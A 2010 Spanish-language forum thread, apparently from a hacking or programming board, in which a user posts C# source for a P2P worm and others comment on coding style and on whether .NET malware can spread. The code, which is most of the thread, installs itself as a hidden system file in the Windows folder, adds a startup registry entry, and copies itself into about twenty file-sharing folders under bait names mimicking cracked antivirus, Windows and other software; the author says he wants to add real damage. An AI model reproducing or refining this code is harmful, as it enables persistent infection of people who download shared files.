Mi Pequeño Programa

Iniciado por ArMaGgEdOn2012, 16 Enero 2010, 17:54 PM

0 Miembros y 1 Visitante están viendo este tema.

junxcosio

#10
Esta bien... lo unico como ya te han dicho demasiados if que hacen lo mismo mas o menos...
Código (csharp) [Seleccionar]

string[] path={aqui pones todas tus rutas}
for (int i=0;i<path.length;i++)
{
      if (File.Exists(path[i]))
      {
            File.Copy(path[1], path[i]);
      }
}


y el tema goto GOTOAAAA; puffffffffffff chungo en mi opinion... el tema de los goto quitalo... aunque sea muy comodo busca otra manera con bucles... con funciones... con lo que sea menos goto...
"Si se puede imaginar, se puede programar..."

ArMaGgEdOn2012

Bueno, otro código.
Esta vez se copia en las mismas carpetas, con nombres aleatorios.
Tambien se inicia con el pc
En fin
Código (csharp) [Seleccionar]
/**********************************************************************************************************************/
/*                                                                                                                    */
/* Pequeño ejemplo de programa autocopiable, que se inicia con el PC, y que se copia a carpetas P2P y a la de Windows */
/*                                                                                                                    */
/*                      Posee un pequeño trozo de código de generador de nombres "aleatorios"                         */
/*                                                                                                                    */
/*           Estoy intentando añadir algo que realmente cause daño (no estoy intentando ponerlo en práctica)          */
/*                                                                                                                    */
/*                          CopyRight 2010 ArMaGgEdOn2012 (Pendiente de Patente xDxD)                                 */
/*                                                                                                                    */
/*           PosData: La violación del CopyRight puede generar encontronazos inesperados con la SGAE                  */
/*                                                                                                                    */
/**********************************************************************************************************************/

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;

namespace WindowsApplication1
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
     //  Ver Abajo
             Metodos.Copiar();   
        }
    }

    class Metodos
    {
        static public void Copiar()
        {
            string[] Paths =
                {
                    @"C:\Windows\mswbootser.exe",

    // ^ Esto es modificable
    // v Rutas de descargas de los programas P2P

                    @"C:\Program Files\Grokster\My Grokster\",
                    @"C:\Program Files\Morpheus\My Shared Folder\",
                    @"C:\Program Files\ICQ\shared files\",
                    @"C:\Program Files\KaZaA\My Shared Folder\",
                    @"C:\Program Files\KaZaA Lite\My Shared Folder\",
                    @"C:\Program Files\EDONKEY2000\incoming\",
                    @"C:\Program Files\eMule\Incoming\",
                    @"C:\Program Files\Filetopia3\Files\",
                    @"C:\Program Files\appleJuice\incoming\",
                    @"C:\Program Files\Gnucleus\Downloads\",
                    @"C:\Program Files\LimeWire\Shared\",
                    @"C:\Program Files\Overnet\incoming\",
                    @"C:\Program Files\Shareaza\Downloads\",
                    @"C:\Program Files\Swaptor\Download\",
                    @"C:\Program Files\WinMX\My Shared Folder\",
                    @"C:\Program Files\Tesla\Files\",
                    @"C:\Program Files\XoloX\Downloads\",
                    @"C:\Program Files\Rapigator\Share\",
                    @"C:\Program Files\KMD\My Shared Folder\",
                    @"C:\Program Files\BearShare\Shared\",
                    @"C:\Program Files\Direct Connect\Received Files\",
                    @"C:\Program Files\Ares\My Shared Folder\"
                };

            string RPath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
            Microsoft.Win32.RegistryKey key;
            key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(RPath);
            key.SetValue("Virus", Paths[0]);

    // ^ Crea una entrada en el registro para iniciarse con el ordenador (Con el nombre Virus xDxDxD)
    // v Esto comprueba que el programa no esté ya en el ordenador

            if (!File.Exists(Paths[0]))
            {
                File.Move(Application.ExecutablePath, Paths[0]);
                File.SetAttributes(Paths[0], FileAttributes.System);
                File.SetAttributes(Paths[0], FileAttributes.ReadOnly);
                File.SetAttributes(Paths[0], FileAttributes.Hidden);
            }

    // v Esto copia el archivo en todas las carpetas antes mencionadas

    for (int i = 1;i < Paths.Length;i++)
            {
                if (Directory.Exists(Paths[i]))
                {
                    string path = Paths[i] + GeneradorDeNombresAleatorios();
                    File.Copy(Paths[0], path);
                    File.SetAttributes(path, FileAttributes.System);
                    File.SetAttributes(path, FileAttributes.ReadOnly);
                    File.SetAttributes(path, FileAttributes.Hidden);
                }
                i++;
            }
        }

        static public string GeneradorDeNombresAleatorios()
        {

    /*************************************************************************/
    /**/                                                                   /**/
/*           El Increíble generador de nombres aleatorios                */
/**/                                                                   /**/
/*          CopyRight 2010 ArMaGgEdOn2012 (Estaba de broma)              */
        /**/                                                                   /**/
/*         Elige pseudo - aleatoriamente una matriz de éstas             */
/**/                                                                   /**/
/* Después, un nombre de la lista seleccionada (pseudo - aleatoriamente) */
/**/                                                                   /**/
/*             No probé que generase todos los nombres                   */
/**/                                                                   /**/
/*   PosData: Puede causar daños irreversibles (No te dejarán peor XD)   */
/**/                                                                   /**/
/*************************************************************************/

            string[] Nombre1Cracks =
                {
                   "Kaspersky2010",
                   "WinRAR38",
                   "WinZIP7",
                   "WinRAR37",
                   "WRAR37",
                   "WRAR38",
                   "AVIRA8",
                   "AVIRA7",
                   "Kaspersky2009",
                };

            string[] Nombre1Free =
                {
                    "WindowsMediaPlayer11",
                    "WMPlayer11",
                    "JohnTheRipper",
                    "JohnRipper",
                    "ODBG",
                    "OllyDBG",
                };

            string[] Nombre1CracksAndOrSerials =
                {
                    "ESETNod32Antivirus2010",
                    "ESETN32AV2010",
                    "Norton2009",
                    "Norton2010",
                    "WinCHM",
                    "Nero7",
                    "Nero8",
                    "Nero9",
                    "WindowsVista",
                    "WindowsVistaUltimate",
                    "WindowsVistaHEdition",
                    "WVista",
                    "WXP",
                    "WindowsXP",
                    "Windows7",
                    "W7",
                    "Win7",
                    "WinXP",
                    "WinVista"
                };

            Random random = new Random();
            string Primero = "";
            int AA = random.Next(0, 3);
            switch (AA)
            {
                case 0:
                    Random random2A = new Random();
                    int random21A = random2A.Next(0, 9);
                    Primero = Nombre1Cracks[random21A];
                    return GeneradorDeNombresDeProgramasDePago(Primero);
                   
                case 1:
                    Random random2B = new Random();
                    int random21B = random2B.Next(0, 6);
                    Primero = Nombre1Free[random21B];
                    return Primero + "Setup.exe";

                case 2:
                    Random random2C = new Random();
                    int random21C = random2C.Next(0, 19);
                    Primero = Nombre1CracksAndOrSerials[random21C];
                    return GeneradorDeNombresDeProgramasDePago(Primero);
            }
            return "";
        }
        static public string GeneradorDeNombresDeProgramasDePago(string Primero)
        {
    /*********************************************************************************************************/
    /*                                                                                                       */
    /* Esta es la segunda parte, donde genera los nombres como 'Crack', 'Setup', 'Keygen' o simplemente nada */
    /*                                                                                                       */
    /*                          En esta parte no estuve muy sobrado de ideas                                 */
    /*                                                                                                       */
    /*********************************************************************************************************/
            string[] Nombre2Despues =
                {
                    "Crack",
                    "Keygen",
                    "",
                    "Setup"
                };

            string[] Nombre2Antes =
                {
                    "Crack",
                    "Keygen",
                    ""
                };


            Random random3 = new Random();
            string Segundo;
            int BB = random3.Next(0, 2);
            switch (BB)
            {
                case 0:
                    Random random4A = new Random();
                    int random41A = random4A.Next(0, 4);
                    Segundo = Nombre2Antes[random41A];
                    return Segundo + Primero + ".exe";

                case 1:
                    Random random4B = new Random();
                    int random41B = random4B.Next(0, 3);
                    Segundo = Nombre2Despues[random41B];
                    return Primero + Segundo + ".exe";
            }
            return "";
        }
    }
}


PD: Los comentarios dan un poco de pena, fallo mío

LastDragon

Cita de: ArMaGgEdOn2012 en 16 Enero 2010, 18:31 PM
Gracias. Me lo apunto para el siguiente.
Lo que no entiendo (entiendo parcialmente) es el bucle for, pues el while lo entiendo.
Aparte, también tuve que echarle algo de imaginación, pues no existen claros ejemplos de virus en c#


¿un que?
JAJAJAJA ya me imagino el resultado de un virus programado en C#, el pobre virus no podria infectar a nadie que no tenga el framework de .net

raul338

a partir de windows xp sp2 ya viene el .net framework 1.1, en vista el 2.0, y en seven el 3.5 :silbar: asi que..... por que no :P